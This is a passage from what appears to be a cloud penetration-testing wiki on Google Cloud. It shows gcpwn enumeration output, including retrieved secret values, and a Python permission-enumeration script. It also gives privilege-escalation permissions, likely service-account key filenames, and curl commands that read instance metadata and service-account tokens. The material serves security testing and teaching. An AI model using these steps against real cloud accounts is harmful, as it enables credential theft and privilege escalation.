      3. Now that the credentials are loaded in and the project is set (Note if project is Unknown you can set it with projects set <project_id>), run creds info and note that NO permissions are known for the current user
      4. Run enum_instances and see an instance is found. Run creds info again and note that permission are now populated saying the user has compute.instances.list on the project and compute.instances.get on the instance itself.
      5. Run enum_instances again but now include testIamPermission calls with the --iam flag. Run creds info again and note way more permissions were identified for the specified compute instance as gcpwn ran testIamPermissions during the enumeration phaes and saved the results. Now we can see our caller has not just compute.instances.get but compute.instances.addAccessConfig, compute.instances.addMaintenancePolicies, compute.instances.addResourcePolicies, etc. on instance-20240630-025631
      6. This is hard to read. So you can pass in --csv with creds info to export it to an easy to read Excel file. creds info will highlight \"dangerous\" permissions red and the resulting CSV has a column for True/False for dangerous permissions.
      \u250c\u2500\u2500(kali\u327fkali)-[~/gcpwn]\n\u2514\u2500$ cat key.json\n{\n  \"type\": \"service_account\",\n  \"project_id\": \"production-project[TRUNCATED]\",\n  \"private_key_id\": \"2912[TRUNCATED]\",\n  \"private_key\": \"-----BEGIN PRIVATE KEY-----\\nMIIEvQIBADANBgkqhkiG9w0B[RECACTED]\\n-----END PRIVATE KEY-----\\n\",\n  \"client_email\": \"newserviceaccount@production-project[TRUNCATED].iam.gserviceaccount.com\",\n  \"client_id\": \"11[TRUNCATED]\",\n  \"auth_uri\": \"https://accounts.google.com/o/oauth2/auth\",\n  \"token_uri\": \"https://oauth2.googleapis.com/token\",\n  \"auth_provider_x509_cert_url\": \"https://www.googleapis.com/oauth2/v1/certs\",\n  \"client_x509_cert_url\": \"https://www.googleapis.com/robot/v1/metadata/x509/newserviceaccount%40production-project[TRUNCATED].iam.gserviceaccount.com\",\n  \"universe_domain\": \"googleapis.com\"\n}\n\n\u250c\u2500\u2500(kali\u327fkali)-[~/gcpwn]\n\u2514\u2500$ python3 main.py \n[*] No workspaces were detected. Please provide the name for your first workspace below.\n> New workspace name: DemoWorkspace\n[*] Workspace 'DemoWorkspace' created.\n\n[TRUNCATED]\n\n[*] Listing existing credentials...\n\n\nSubmit the name or index of an existing credential from above, or add NEW credentials via Application Default \nCredentails (adc - google.auth.default()), a file pointing to adc credentials, a standalone OAuth2 Token, \nor Service credentials. See wiki for details on each. To proceed with no credentials just hit ENTER and submit \nan empty string. \n[1] *adc      <credential_name> [tokeninfo]                    (ex. adc mydefaultcreds [tokeninfo]) \n[2] *adc-file <credential_name> <filepath> [tokeninfo]         (ex. adc-file mydefaultcreds /tmp/name2.json)\n[3] *oauth2   <credential_name> <token_value> [tokeninfo]      (ex. oauth2 mydefaultcreds ya[TRUNCATED]i3jJK)  \n[4] service   <credential_name> <filepath_to_service_creds>    (ex. service mydefaultcreds /tmp/name2.json)\n\n*To get scope and/or email info for Oauth2 tokens (options 1-3) include a third argument of \n\"tokeninfo\" to send the tokens to Google's official oauth2 endpoint to get back scope. \ntokeninfo will set the credential name for oauth2, otherwise credential name will be used.\nAdvised for best results. See https://cloud.google.com/docs/authentication/token-types#access-contents.\nUsing tokeninfo will add scope/email to your references if not auto-picked up.\n\nInput: service service_user /home/kali/gcpwn/key.json\n[*] Credentials successfuly added\nLoading in Service Credentials...\n[*] Loaded credentials service_user\n(production-project[TRUNCATED]:service_user)> creds info\n\nSummary for service_user:\nEmail: newserviceaccount@production-project[TRUNCATED].iam.gserviceaccount.com\nScopes:\n    - N/A\nDefault Project: production-project[TRUNCATED]\nAll Projects:\n\nAccess Token: N/A\n(production-project[TRUNCATED]:service_user)> modules run enum_instances\n[*] Checking production-project[TRUNCATED] for instances...\n[**] Reviewing instance-20240630-025631\n[***] GET Instance\n[SUMMARY] GCPwn found 1 Instances in production-project[TRUNCATED]\n   - zones/us-central1-c                                                                                                                                                                    \n     - instance-20240630-025631                                                                                                                                                             \n(production-project[TRUNCATED]:service_user)> creds info\n\nSummary for service_user:\nEmail: newserviceaccount@production-project[TRUNCATED].iam.gserviceaccount.com\nScopes:\n    - N/A\nDefault Project: production-project[TRUNCATED]\nAll Projects:\n\nAccess Token: N/A\n\n[******] Permission Summary for service_user [******]\n- Project Permissions\n  - production-project[TRUNCATED]\n    - compute.instances.list\n- Compute Actions Allowed Permissions\n  - production-project[TRUNCATED]\n    - compute.instances.get\n      - instance-20240630-025631 (instances)\n\n(production-project[TRUNCATED]:service_user)> modules run enum_instances --iam\n[*] Checking production-project[TRUNCATED] for instances...\n[**] Reviewing instance-20240630-025631\n[***] GET Instance\n[***] TEST Instance Permissions\n[SUMMARY] GCPwn found 1 Instances in production-project[TRUNCATED]\n   - zones/us-central1-c                                                                                                                                                                    \n     - instance-20240630-025631                                                                                                                                                             \n(production-project[TRUNCATED]:service_user)> creds info\n\nSummary for service_user:\nEmail: newserviceaccount@production-project[TRUNCATED].iam.gserviceaccount.com\nScopes:\n    - N/A\nDefault Project: production-project[TRUNCATED]\nAll Projects:\n\nAccess Token: N/A\n\n[******] Permission Summary for service_user [******]\n- Project Permissions\n  - production-project[TRUNCATED]\n    - compute.instances.list\n- Compute Actions Allowed Permissions\n  - production-project[TRUNCATED]\n    - compute.instances.get\n      - instance-20240630-025631 (instances)\n    - compute.instances.addAccessConfig\n      - instance-20240630-025631 (instances)\n    - compute.instances.addMaintenancePolicies\n      - instance-20240630-025631 (instances)\n    - compute.instances.addResourcePolicies\n      - instance-20240630-025631 (instances)\n    - compute.instances.attachDisk\n      - instance-20240630-025631 (instances)\n    - compute.instances.createTagBinding\n      - instance-20240630-025631 (instances)\n    - compute.instances.delete\n      - instance-20240630-025631 (instances)\n    - compute.instances.deleteAccessConfig\n      - instance-20240630-025631 (instances)\n    - compute.instances.deleteTagBinding\n      - instance-20240630-025631 (instances)\n    - compute.instances.detachDisk\n      - instance-20240630-025631 (instances)\n    - compute.instances.getEffectiveFirewalls\n      - instance-20240630-025631 (instances)\n    - compute.instances.getGuestAttributes\n      - instance-20240630-025631 (instances)\n    - compute.instances.getIamPolicy\n      - instance-20240630-025631 (instances)\n    - compute.instances.getScreenshot\n      - instance-20240630-025631 (instances)\n    - compute.instances.getSerialPortOutput\n      - instance-20240630-025631 (instances)\n    - compute.instances.getShieldedInstanceIdentity\n      - instance-20240630-025631 (instances)\n    - compute.instances.getShieldedVmIdentity\n      - instance-20240630-025631 (instances)\n    - compute.instances.listEffectiveTags\n      - instance-20240630-025631 (instances)\n    - compute.instances.listReferrers\n      - instance-20240630-025631 (instances)\n    - compute.instances.listTagBindings\n      - instance-20240630-025631 (instances)\n    - compute.instances.osAdminLogin\n      - instance-20240630-025631 (instances)\n    - compute.instances.osLogin\n      - instance-20240630-025631 (instances)\n    - compute.instances.removeMaintenancePolicies\n      - instance-20240630-025631 (instances)\n    - compute.instances.removeResourcePolicies\n      - instance-20240630-025631 (instances)\n    - compute.instances.reset\n      - instance-20240630-025631 (instances)\n    - compute.instances.resume\n      - instance-20240630-025631 (instances)\n    - compute.instances.sendDiagnosticInterrupt\n      - instance-20240630-025631 (instances)\n    - compute.instances.setDeletionProtection\n      - instance-20240630-025631 (instances)\n    - compute.instances.setDiskAutoDelete\n      - instance-20240630-025631 (instances)\n    - compute.instances.setIamPolicy\n      - instance-20240630-025631 (instances)\n    - compute.instances.setLabels\n      - instance-20240630-025631 (instances)\n    - compute.instances.setMachineResources\n      - instance-20240630-025631 (instances)\n    - compute.instances.setMachineType\n      - instance-20240630-025631 (instances)\n    - compute.instances.setMetadata\n      - instance-20240630-025631 (instances)\n    - compute.instances.setMinCpuPlatform\n      - instance-20240630-025631 (instances)\n    - compute.instances.setName\n      - instance-20240630-025631 (instances)\n    - compute.instances.setScheduling\n      - instance-20240630-025631 (instances)\n    - compute.instances.setSecurityPolicy\n      - instance-20240630-025631 (instances)\n    - compute.instances.setServiceAccount\n      - instance-20240630-025631 (instances)\n    - compute.instances.setShieldedInstanceIntegrityPolicy\n      - instance-20240630-025631 (instances)\n    - compute.instances.setShieldedVmIntegrityPolicy\n      - instance-20240630-025631 (instances)\n    - compute.instances.setTags\n      - instance-20240630-025631 (instances)\n    - compute.instances.simulateMaintenanceEvent\n      - instance-20240630-025631 (instances)\n    - compute.instances.start\n      - instance-20240630-025631 (instances)\n    - compute.instances.startWithEncryptionKey\n      - instance-20240630-025631 (instances)\n    - compute.instances.stop\n      - instance-20240630-025631 (instances)\n    - compute.instances.suspend\n      - instance-20240630-025631 (instances)\n    - compute.instances.update\n      - instance-20240630-025631 (instances)\n    - compute.instances.updateAccessConfig\n      - instance-20240630-025631 (instances)\n    - compute.instances.updateDisplayDevice\n      - instance-20240630-025631 (instances)\n    - compute.instances.updateNetworkInterface\n      - instance-20240630-025631 (instances)\n    - compute.instances.updateSecurity\n      - instance-20240630-025631 (instances)\n    - compute.instances.updateShieldedInstanceConfig\n      - instance-20240630-025631 (instances)\n    - compute.instances.updateShieldedVmConfig\n      - instance-20240630-025631 (instances)\n    - compute.instances.use\n      - instance-20240630-025631 (instances)\n    - compute.instances.useReadOnly\n      - instance-20240630-025631 (instances)\n\n(production-project[TRUNCATED]:service_user)> creds info --csv\n^C\n\n\u250c\u2500\u2500(kali\u327fkali)-[~/gcpwn]\n\u2514\u2500$ cd GatheredData/1_demoworkspace/Reports/Snapshots/    \n\n\u250c\u2500\u2500(kali\u327fkali)-[~/\u2026/GatheredData/1_demoworkspace/Reports/Snapshots]\n\u2514\u2500$ ls\nPermission_Summary_service_user_20240714161752.csv  service_user_1720988272.6552665.csv\n\n\u250c\u2500\u2500(kali\u327fkali)-[~/\u2026/GatheredData/1_demoworkspace/Reports/Snapshots]\n\u2514\u2500$ cat Permission_Summary_service_user_20240714161752.csv \nCredname,Permission,Asset Type,Asset Name,Project_ID,Flagged\nservice_user,compute.instances.list,Project,production-project[TRUNCATED],production-project[TRUNCATED],False\nservice_user,compute.instances.get,instances,instance-20240630-025631,production-project[TRUNCATED],False\nservice_user,compute.instances.addAccessConfig,instances,instance-20240630-025631,production-project[TRUNCATED],False\nservice_user,compute.instances.addMaintenancePolicies,instances,instance-20240630-025631,production-project[TRUNCATED],False\nservice_user,compute.instances.addResourcePolicies,instances,instance-20240630-025631,production-project[TRUNCATED],False\nservice_user,compute.instances.attachDisk,instances,instance-20240630-025631,production-project[TRUNCATED],False\n

      As mentiond before, each individual service can have testIamPermission so each enum module can have testIamPermissions. This would kinda stink if you had to run them individually so added an enum_all module which calls ALL enumeration modules. You can pass in --iam to enum_all to run all possible testIamPermissions

      \u2514\u2500$ python3 main.py \n[*] Found existing sessions:\n  [0] New session\n  [1] DemoWorkspace\n  [2] exit\nChoose an option: 1\n[TRUNCATED]\n\nWelcome to your workspace! Type 'help' or '?' to see available commands.\n\n[*] Listing existing credentials...\n  [1] service_user (service) - newserviceaccount@production-project[TRUNCATED].iam.gserviceaccount.com\n\n\nSubmit the name or index of an existing credential from above, or add NEW credentials via Application Default \nCredentails (adc - google.auth.default()), a file pointing to adc credentials, a standalone OAuth2 Token, \nor Service credentials. See wiki for details on each. To proceed with no credentials just hit ENTER and submit \nan empty string. \n[1] *adc      <credential_name> [tokeninfo]                    (ex. adc mydefaultcreds [tokeninfo]) \n[2] *adc-file <credential_name> <filepath> [tokeninfo]         (ex. adc-file mydefaultcreds /tmp/name2.json)\n[3] *oauth2   <credential_name> <token_value> [tokeninfo]      (ex. oauth2 mydefaultcreds ya[TRUNCATED]i3jJK)  \n[4] service   <credential_name> <filepath_to_service_creds>    (ex. service mydefaultcreds /tmp/name2.json)\n\n*To get scope and/or email info for Oauth2 tokens (options 1-3) include a third argument of \n\"tokeninfo\" to send the tokens to Google's official oauth2 endpoint to get back scope. \ntokeninfo will set the credential name for oauth2, otherwise credential name will be used.\nAdvised for best results. See https://cloud.google.com/docs/authentication/token-types#access-contents.\nUsing tokeninfo will add scope/email to your references if not auto-picked up.\n\nInput: 1\nLoading in Service Credentials...\n[*] Loaded credentials service_user\n(production-project[TRUNCATED]:service_user)> modules run enum_all --iam \n[***********] Beginning enumeration for production-project[TRUNCATED] [***********]\n[*] Beginning Enumeration of RESOURCE MANAGER Resources...\n[*] Searching Organizations\n[*] Searching All Projects\n[*] Searching All Folders\n[*] Getting remainting projects/folders via recursive folder/project list calls starting with org node if possible\n[*] NOTE: This might take a while depending on the size of the domain\n[SUMMARY] GCPwn found or retrieved NO Organization(s)\n[SUMMARY] GCPwn found or retrieved NO Folder(s)\n[SUMMARY] GCPwn found 1 Project(s)\n   - projects/[TRUNCATED] (Production Project 1) - ACTIVE                                                                                                           \n[*] Beginning Enumeration of CLOUD COMPUTE Resources...\n[*] Checking production-project[TRUNCATED] for instances...\n[**] Reviewing instance-20240630-025631\n[***] GET Instance\n[***] TEST Instance Permissions\n[SUMMARY] GCPwn found 1 Instances in production-project[TRUNCATED]\n   - zones/us-central1-c                                                                                                                                            \n     - instance-20240630-025631                                                                                                                                     \n[*] Checking Cloud Compute Project production-project[TRUNCATED]...\n[*] Only first few metadata characters shown, run `data tables cloudcompute-projects --columns project_id,common_instance_metadata` to see all of metadata. Use --csv to export it to a csv.\n[SUMMARY] GCPwn found 1 Compute Project(s) potentially with metadata\n   - production-project[TRUNCATED]                                                                                                                                                            \n[*] Beginning Enumeration of CLOUD FUNCTION Resources...\n[*] Checking production-project[TRUNCATED] for functions...\n[**] Reviewing projects/production-project[TRUNCATED]/locations/us-central1/functions/function-12\n[***] GET Individual Function\n[***] TEST Function Permissions\n[SUMMARY] GCPwn found 1 Function(s) in production-project[TRUNCATED]\n   - [us-central1] function-12                                                                                                                                                              \n[*] Beginning Enumeration of CLOUD STORAGE Resources...\n[*] Checking production-project[TRUNCATED] for HMAC keys...\n[SUMMARY] GCPwn found 1 HMAC Key(s) in production-project[TRUNCATED]\n   - [production-project[TRUNCATED]] GOOG1EV[TRUNCATED] - ACTIVE                                                                                   \n     SA: [TRUNCATED]-compute@developer.gserviceaccount.com                                                                                                                                 \n[*] Checking production-project[TRUNCATED] for buckets/blobs via LIST buckets...\n[**] Reviewing bucket-to-see-how-much-stuff-121212121212\n[***] GET Bucket Object\n[X] 403 The user does not have storage.buckets.get permissions on bucket bucket-to-see-how-much-stuff-121212121212\n[***] TEST Bucket Permissions\n[***] LIST Bucket Blobs\n[X] 403: The user does not have storage.objects.list permissions on\n[**] Reviewing gcf-v2-sources-[TRUNCATED]-us-central1\n[***] GET Bucket Object\n[***] TEST Bucket Permissions\n[***] LIST Bucket Blobs\n[***] GET Bucket Blobs\n[**] Reviewing gcf-v2-uploads-[TRUNCATED]-us-central1\n[***] GET Bucket Object\n[***] TEST Bucket Permissions\n[***] LIST Bucket Blobs\n[**] Reviewing testweoajrpjqfpweqjfpwejfwef\n[***] GET Bucket Object\n[***] TEST Bucket Permissions\n[***] LIST Bucket Blobs\n[SUMMARY] GCPwn found 4 Buckets (with up to 10 blobs shown each) in production-project[TRUNCATED]\n   - bucket-[TRUNCATED]                                                                                                                    \n   - gcf-[TRUNCATED]                                                                                                                      \n     - function-12/function-source.zip                                                                                                                              \n   - gcf-[TRUNCATED]                                                                                                                       \n   - test[TRUNCATED]                                                                                                                                 \n[*] Beginning Enumeration of SECRETS MANAGER Resources...\n[**] [production-project[TRUNCATED]] Reviewing projects/[TRUNCATED]/secrets/test\n[***] GET Base Secret Entity\n[***] TEST Secret Permissions\n[***] LIST Secret Versions\n[****] GET Secret Version 2\n[****] TEST Secret Version Permissions\n[****] GETTING Secret Values For 2\n[****] SECRET VALUE RETRIEVED FOR 2\n[****] GET Secret Version 1\n[****] TEST Secret Version Permissions\n[****] GETTING Secret Values For 1\n[****] SECRET VALUE RETRIEVED FOR 1\n[**] [production-project[TRUNCATED]] Reviewing projects/[TRUNCATED]/secrets/test-location\n[***] GET Base Secret Entity\n[***] TEST Secret Permissions\n[***] LIST Secret Versions\n[****] GET Secret Version 1\n[****] TEST Secret Version Permissions\n[****] GETTING Secret Values For 1\n[****] SECRET VALUE RETRIEVED FOR 1\n[SUMMARY] GCPwn found 2 Secrets in production-project[TRUNCATED]\n   - test                                                                                                                                                           \n     - 1: test121212                                                                                                                                                \n     - 2: test                                                                                                                                                      \n   - test-location                                                                                                                                                  \n     - 1: test121212                                                                                                                                                \n[*] Beginning Enumeration of IAM Resources...\n[*] Checking production-project[TRUNCATED] for service accounts...\n[SUMMARY] GCPwn found 3 Service Account(s) in production-project[TRUNCATED]\n   - [TRUNCATED]-compute@developer.gserviceaccount.com                                                                                                             \n   - newserviceaccount@production-project[TRUNCATED].iam.gserviceaccount.com                                                                                        \n   - production-project[TRUNCATED]@appspot.gserviceaccount.com                                                                                                      \n[*] Checking production-project[TRUNCATED] for roles...\n[SUMMARY] GCPwn found or retrieved NO Custom Role(s)\n[*] Checking IAM Policy for Organizations...\n[*] Checking IAM Policy for Folders...\n[*] Checking IAM Policy for Projects...\n[*] Checking IAM Policy for Buckets...\n[X] 403: The user does not have storage.buckets.getIamPolicy permissions\n[*] Checking IAM Policy for CloudFunctions...\n[*] Checking IAM Policy for Compute Instances...\n[*] Checking IAM Policy for Service Accounts...\n[*] Checking IAM Policy for Secrets...\n[***********] Ending enumeration for production-project[TRUNCATED] [***********]\n\n(production-project[TRUNCATED]:service_user)> creds info\n\nSummary for service_user:\nEmail: newserviceaccount@production-project[TRUNCATED].iam.gserviceaccount.com\nScopes:\n    - N/A\nDefault Project: production-project[TRUNCATED]\nAll Projects:\n    - production-project[TRUNCATED]\n\nAccess Token: N/A\n\n[******] Permission Summary for service_user [******]\n- Project Permissions\n  - production-project[TRUNCATED]\n    - cloudfunctions.functions.call\n    - cloudfunctions.functions.create\n    - cloudfunctions.functions.list\n    - cloudfunctions.functions.setIamPolicy\n    - cloudfunctions.functions.sourceCodeSet\n    - cloudfunctions.functions.update\n    - compute.disks.create\n    - compute.instances.create\n    - compute.instances.list\n    - compute.instances.setMetadata\n    - compute.instances.setServiceAccount\n    - compute.projects.get\n    - compute.subnetworks.use\n    - compute.subnetworks.useExternalIp\n    - deploymentmanager.deployments.create\n    - iam.roles.update\n    - iam.serviceAccountKeys.create\n    - iam.serviceAccounts.actAs\n    [TRUNCATED]\n- Storage Actions Allowed Permissions\n  - production-project[TRUNCATED]\n    - storage.buckets.delete\n      - bucket[TRUNCATED] (buckets)\n      - gcf-v2-[TRUNCATED] (buckets)\n      - gcf-v2-[TRUNCATED] (buckets)\n      - test[TRUNCATED] (buckets)\n    - storage.buckets.get\n      - gcf-v2-[TRUNCATED] (buckets)\n      - gcf-v2-[TRUNCATED] (buckets)\n      - testw[TRUNCATED] (buckets)\n    - storage.buckets.getIamPolicy\n      - gcf-v2-[TRUNCATED] (buckets)\n      - gcf-v2-[TRUNCATED] (buckets)\n      - testw[TRUNCATED] (buckets)\n    - storage.buckets.setIamPolicy\n      - gcf-v2-[TRUNCATED] (buckets)\n      - gcf-v2-[TRUNCATED] (buckets)\n      - testw[TRUNCATED] (buckets)\n     [TRUNCATED]\n- Secret Actions Allowed Permissions\n  - production-project[TRUNCATED]\n    - secretmanager.secrets.get\n      - test (secrets)\n      - test-location (secrets)\n    - secretmanager.secrets.delete\n      - test (secrets)\n      - test-location (secrets)\n    - secretmanager.secrets.getIamPolicy\n      - test (secrets)\n      - test-location (secrets)\n    - secretmanager.secrets.setIamPolicy\n      - test (secrets)\n      - test-location (secrets)\n    - secretmanager.secrets.update\n      - test (secrets)\n      - test-location (secrets)\n    - secretmanager.versions.get\n      - test (Version: 1) (secret version)\n      - test (Version: 2) (secret version)\n      - test-location (Version: 1) (secret version)\n    - secretmanager.versions.access\n      - test (Version: 1) (secret version)\n      - test (Version: 2) (secret version)\n      - test-location (Version: 1) (secret version)\n    - secretmanager.versions.destroy\n      - test (Version: 1) (secret version)\n      - test (Version: 2) (secret version)\n      - test-location (Version: 1) (secret version)\n    - secretmanager.versions.disable\n      - test (Version: 1) (secret version)\n      - test (Version: 2) (secret version)\n      - test-location (Version: 1) (secret version)\n    - secretmanager.versions.enable\n      - test (Version: 1) (secret version)\n      - test (Version: 2) (secret version)\n      - test-location (Version: 1) (secret version)\n
      "},{"location":"gcp/enumeration/enumerate_all_permissions/#enumerate-9500-permission-on-orgfolderproject","title":"Enumerate ~9500 Permission on Org/Folder/Project","text":"

      gcpwn includes a special flag for enum_resources called --all-permissions. When this is used with the --iam flag, gcpwn will attempt ~9500 individual permissions via testIamPermissions. This effectively should tell you every permission the user has in the current resource. Note you can find the list of permissions via the repository. For example, here are all the project permissions it tries. NOTE AGAIN TESTIAMPERMISSIONS IS NOT ACTUALLY ACTIVELY INVOKING THESE APIS. Thus it should be safe to run these all through testIamPermissions. While not shown below you can pass --all-permissions and --iam into enum_all if you want to do this as part of the everything enumeration.

      (production-project[TRUNCATED]:service_user)> modules run enum_resources --iam --all-permissions\n[*] Searching Organizations\n[*] Searching All Projects\n[*] Checking permissions in batches for projects/[TRUNCATED], note this might take a few minutes (~9000 permissions @ 500/~ 2 min = 36 min)\nCompleted 5/95\nCompleted 10/95\nCompleted 15/95\nCompleted 20/95\nCompleted 25/95\nCompleted 30/95\nCompleted 35/95\nCompleted 40/95\nCompleted 45/95\nCompleted 50/95\nCompleted 55/95\nCompleted 60/95\nCompleted 65/95\nCompleted 70/95\nCompleted 75/95\nCompleted 80/95\nCompleted 85/95\nCompleted 90/95\nCompleted 95/95\n[*] Searching All Folders\n[*] Getting remainting projects/folders via recursive folder/project list calls starting with org node if possible\n[*] NOTE: This might take a while depending on the size of the domain\n[SUMMARY] GCPwn found or retrieved NO Organization(s)\n[SUMMARY] GCPwn found or retrieved NO Folder(s)\n[SUMMARY] GCPwn found 1 Project(s)\n   - projects/[TRUNCATED] (Production Project 1) - ACTIVE\n\n(production-project[TRUNCATED]:service_user)> creds info\n\nSummary for service_user:\nEmail: newserviceaccount@production-project[TRUNCATED].iam.gserviceaccount.com\nScopes:\n    - N/A\nDefault Project: production-project[TRUNCATED]\nAll Projects:\n    - production-project[TRUNCATED]\n\nAccess Token: N/A\n\n[******] Permission Summary for service_user [******]\n- Project Permissions\n  - production-project[TRUNCATED]\n    - accessapproval.requests.approve\n    - accessapproval.requests.dismiss\n    - accessapproval.requests.get\n    - accessapproval.requests.invalidate\n    - accessapproval.requests.list\n    - accessapproval.serviceAccounts.get\n    - accessapproval.settings.delete\n    - accessapproval.settings.get\n    - accessapproval.settings.update\n    - actions.agent.claimContentProvider\n    [TRUNCATED]\n    - workloadmanager.insights.export\n    - workloadmanager.insights.write\n    - workloadmanager.locations.get\n    - workloadmanager.locations.list\n    - workloadmanager.operations.cancel\n    - workloadmanager.operations.delete\n    - workloadmanager.operations.get\n    - workloadmanager.operations.list\n    - workloadmanager.results.list\n    - workloadmanager.rules.list\n    - workstations.operations.get\n    - workstations.workstationClusters.create\n    - workstations.workstationClusters.delete\n    - workstations.workstationClusters.get\n    - workstations.workstationClusters.list\n    - workstations.workstationClusters.update\n    - workstations.workstationConfigs.create\n    - workstations.workstationConfigs.delete\n    - workstations.workstationConfigs.get\n    - workstations.workstationConfigs.getIamPolicy\n    - workstations.workstationConfigs.list\n    - workstations.workstationConfigs.setIamPolicy\n    - workstations.workstationConfigs.update\n    - workstations.workstations.create\n    - workstations.workstations.delete\n    - workstations.workstations.get\n    - workstations.workstations.getIamPolicy\n    - workstations.workstations.list\n    - workstations.workstations.setIamPolicy\n    - workstations.workstations.start\n    - workstations.workstations.stop\n    - workstations.workstations.update\n
      "},{"location":"gcp/enumeration/enumerate_service_account_permissions/","title":"Enumerate Service Account Permissions","text":"

      Link to Tool: GitHub

      On GCP it is possible to use the projects.testIamPermissions method to check the permissions that a caller has on the specified Project.

      To enumerate permissions you will need either a service account key file or an access token as well as the project ID.

      Info

      The project ID can be retrieved from the metadata endpoint at /computeMetadata/v1/project/project-id

      The following script taken from the ThunderCTF repository can be used to enumerate permissions:

      from googleapiclient import discovery\nimport google.oauth2.service_account\nfrom google.oauth2.credentials import Credentials\nimport os, sys\nfrom permissions import permissions\n\nif len(sys.argv) != 2:\n    sys.exit(\"Usage python test-permissions <token | path_to_key_file>\")\n\nif os.getenv('GOOGLE_CLOUD_PROJECT'):\n    PROJECT_ID = os.getenv('GOOGLE_CLOUD_PROJECT')\n    print(PROJECT_ID)\nelse:\n    sys.exit(\"Please set your GOOGLE_CLOUD_PROJECT environment variable via gcloud config set project [PROJECT_ID]\")\n\nif (os.path.exists(sys.argv[1])):\n    print(f'JSON credential: {sys.argv[1]}')\n    # Create credentials using service account key file\n    credentials = google.oauth2.service_account.Credentials.from_service_account_file(sys.argv[1])\nelse:\n    print(f'Access token: {sys.argv[1][0:4]}...{sys.argv[1][-4:]}')\n    ACCESS_TOKEN = sys.argv[1]\n    # Create credentials using access token\n    credentials = Credentials(token=sys.argv[1])\n\n# Split testable permissions list into lists of 100 items each\nchunked_permissions = (\n    [permissions[i * 100:(i + 1) * 100] for i in range((len(permissions)+99) // 100)])\n\n# Build cloudresourcemanager REST API python object\ncrm_api = discovery.build('cloudresourcemanager',\n                          'v1', credentials=credentials)\n\n# For each list of 100 permissions, query the api to see if the service account has any of the permissions\ngiven_permissions = []\nfor permissions_chunk in chunked_permissions:\n    response = crm_api.projects().testIamPermissions(resource=PROJECT_ID, body={\n        'permissions': permissions_chunk}).execute()\n    # If the service account has any of the permissions, add them to the output list\n    if 'permissions' in response:\n        given_permissions.extend(response['permissions'])\n\nprint(given_permissions)\n
      "},{"location":"gcp/enumeration/enumerate_service_account_permissions/#updating-the-list-of-permissions","title":"Updating the list of permissions","text":"

      The file containing the list of permissions needs to be created / updated before using the enumeration script.

      The file permissions.py should look like this:

      permissions = [\n  'accessapproval.requests.approve',\n  ...\n  'vpcaccess.operations.list'\n]\n

      The list of existing permissions can be obtained from the IAM permissions reference page or from the IAM Dataset powering gcp.permissions.cloud.

      "},{"location":"gcp/exploitation/gcp_iam_privilege_escalation/","title":"Privilege Escalation in Google Cloud Platform","text":"Permission \u00a0Resources cloudbuilds.builds.create Script / Blog Post cloudfunctions.functions.create Script / Blog Post cloudfunctions.functions.update Script / Blog Post cloudscheduler.jobs.create Blog Post composer.environments.get Blog Post 1, 2 compute.instances.create Script / Blog Post dataflow.jobs.create Blog Post 1, 2 dataflow.jobs.update Blog Post 1, 2 dataproc.clusters.create Blog Post 1, 2 dataproc.clusters.create Blog Post 1, 2 dataproc.jobs.create Blog Post 1, 2 dataproc.jobs.update Blog Post 1, 2 deploymentmanager.deployments.create Script / Blog Post iam.roles.update Script / Blog Post iam.serviceAccountKeys.create Script / Blog Post iam.serviceAccounts.getAccessToken Script / Blog Post iam.serviceAccounts.implicitDelegation Script / Blog Post iam.serviceAccounts.signBlob Script / Blog Post iam.serviceAccounts.signJwt Script / Blog Post orgpolicy.policy.set Script / Blog Post run.services.create Script / Blog Post serviceusage.apiKeys.create Script / Blog Post serviceusage.apiKeys.list Script / Blog Post storage.hmacKeys.create Script / Blog Post"},{"location":"gcp/general-knowledge/default-account-names/","title":"Default Account Information","text":""},{"location":"gcp/general-knowledge/default-account-names/#service-accounts","title":"Service Accounts","text":"

      Service accounts are similar to Azure Service Principals. They can allow for programmatic access but also abuse.

      Information on Service Accounts

      User-Created Service Account: service-account-name@project-id.iam.gserviceaccount.com

      Using the format above, you can denote the following items:

      • service-account-name: This will tell you potentially what services this is for: Bigtable-sa or compute-sa
      • project-id: This will be the project identifier that the service account is for. You can set your gcloud configuration to this project-id. It will be numerical typically.
      "},{"location":"gcp/general-knowledge/default-account-names/#default-service-account-filename-permutations","title":"Default Service Account filename permutations:","text":"
      • serviceaccount.json
      • service_account.json
      • sa-private-key.json
      • service-account-file.json
      "},{"location":"gcp/general-knowledge/default-account-names/#application-based-service-account","title":"Application-Based Service Account:","text":"
      • project-id@appspot.gserviceaccount.com: Ths would be project-id value for App Engine or anything leveraging App Engine.
      • project-number-compute@developer.gserviceaccount.com: This service account is for Compute Engine where the project-number-compute will be: project-id-compute. I.E. 1234567-compute.
      "},{"location":"gcp/general-knowledge/default-account-names/#how-to-use-service-accounts","title":"How to use Service Accounts","text":"

      In a BASH (or equivalent) shell: export GOOGLE_APPLICATION_CREDENTIALS=\"/home/user/Downloads/service-account-file.json\"

      "},{"location":"gcp/general-knowledge/gcp-buckets/","title":"Hunting GCP Buckets","text":"

      GCP Buckets are almost 100% identical to AWS S3 Buckets.

      Theory: This call is based on OpenStack; maybe most cloud environments will be the same.

      Using @digininja's CloudStorageFinder diff the following files:

      diff bucket_finder.rb google_finder.rb

      The main differences are the URLs:

      • AWS Supports HTTP and HTTPS
      • AWS S3 URLs: http://s3-region.amazonaws.com, i.e.: http://s3-eu-west-1.amazonaws.com.
      • GCP Endpoint: https://storage.googleapis.com

      How to find buckets using CloudStorageFinder:

      Create a wordlist with any name; in our example, it is wordlist.txt.

      $ ruby google_finder.rb wordlist.txt

      "},{"location":"gcp/general-knowledge/metadata_in_google_cloud_instances/","title":"Metadata in Google Cloud Instances","text":"

      Metadata can provide an attacker (or regular user) information about the compromised App Engine instance, such as its project ID, service accounts, and tokens used by those service accounts.

      The metadata can be accessed by a regular HTTP GET request or cURL, sans any third-party client libraries by making a request to metadata.google.internal or 169.254.169.254.

      curl \"http://metadata.google.internal/computeMetadata/v1/?recursive=true&alt=text\" -H\n\"Metadata-Flavor: Google\"\n
      Note: If you are using your local terminal to attempt access, as opposed to Google's Web Console, you will need to add 169.254.169.254 metadata.google.internal to your /etc/hosts file.

      "},{"location":"gcp/general-knowledge/metadata_in_google_cloud_instances/#metadata-endpoints","title":"Metadata Endpoints","text":"

      For basic enumeration, an attacker can target.

      http://169.254.169.254/computeMetadata/v1/\nhttp://metadata.google.internal/computeMetadata/v1/\nhttp://metadata/computeMetadata/v1/\nhttp://metadata.google.internal/computeMetadata/v1/instance/hostname\nhttp://metadata.google.internal/computeMetadata/v1/instance/id\nhttp://metadata.google.internal/computeMetadata/v1/project/project-id\n
      To view scope:
